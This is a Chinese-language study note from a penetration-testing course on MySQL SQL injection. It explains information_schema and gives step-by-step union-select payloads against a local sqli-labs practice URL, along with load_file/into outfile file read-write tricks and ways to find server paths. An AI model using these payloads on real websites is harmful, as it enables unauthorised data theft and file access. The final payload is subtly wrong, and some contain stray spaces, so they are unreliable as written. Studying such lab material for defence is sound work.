information_schema
MYSQL5.0以上版本中,再带一个名为information_schema的数据库,这个数据库存储这所有数据库名,表名和列名,可通过此数据库查询指定数据库下的表明和列名。
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_LOCKS |
| INNODB_TRX |
| INNODB_SYS_DATAFILES |
| INNODB_FT_CONFIG |
| INNODB_SYS_VIRTUAL |
| INNODB_CMP |
| INNODB_FT_BEING_DELETED |
| INNODB_CMP_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMPMEM_RESET |
| INNODB_FT_DELETED |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_LOCK_WAITS |
| INNODB_TEMP_TABLE_INFO |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_FIELDS |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_BUFFER_PAGE |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_INDEX_TABLE |
| INNODB_FT_INDEX_CACHE |
| INNODB_SYS_TABLESPACES |
| INNODB_METRICS |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_CMPMEM |
| INNODB_BUFFER_POOL_STATS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_TABLESTATS |
+---------------------------------------+
61 rows in set (0.00 sec)
information_schema.schemata:记录所有数据库名的表
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_schema:列名
低版本注入
目前5.0以下版本的mysql很少见,一般只能通过字典暴力破解少数可通过文件读取收集路径信息
文件读写操作
- 读文件
select load_file("D:\\1.txt") # 文件路径需要转义 - 写文件
select .......into outfile ' '
select …… into dumpfile' ' - 参考链接MySQL注入中的outfile、dumpfile、load_file函数详解 - ZZtac - 博客园
路径获取方法
- 报错显示
- 遗留文件:调试网站时所遗留的信息文件,如phpinfo()等,会泄露路径,可用工具扫描到。
- 漏洞报错:知道对方用什么程序搭建的网站,网上搜索相关爆路径漏洞
- 平台配置文件:通过读取文件来读取搭建平台配置文件。缺点:路径不默认,一旦更改很难找到。
常见读取文件列表
常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客
常用函数
- version():数据库的版本(注意5.0版本前后的区别)
- user():当前操作数据库的用户
- database():当前数据库名
-
@@version_compile_os:服务器的操作系统
运算符优先级问题
注入流程及跨库注入
- 判断是否存在注入点
- 查询当前数据表有多少列
order by x(对前面数据进行排列,有几列就x就是几,超过列数就会报错) - 信息收集(查看当前数据库版本,数据库名称),注意让union前语句为空,这样后面的语句就可以显示出来
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select group_concat(schema _name) from information_schema.schemata
注意:union 前后的两个 sql 语句的选择列数要相同 - 查表
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select group_concat(table_name) from information _schema.tables where table_schema='xxxxx' - 查列
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select group_concat(column _name) from information_schema.columns where table_name='xxx' -
查字段
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select group_concat(username) from column_name
跨库注入:MySQL数据库sql注入之数据获取、跨库注入以及文件读写(以sqli-labs环境演示) - shley - 博客园
注:文章是对于小迪师傅安全课程的学习总结,【小迪安全】web安全|渗透测试|网络安全(6个月线上培训全套)_哔哩哔哩_bilibili,部分内容参考自【小迪安全-web渗透测试课程】第12天:WEB漏洞-SQL注入之简要SQL注入 - 哔哩哔哩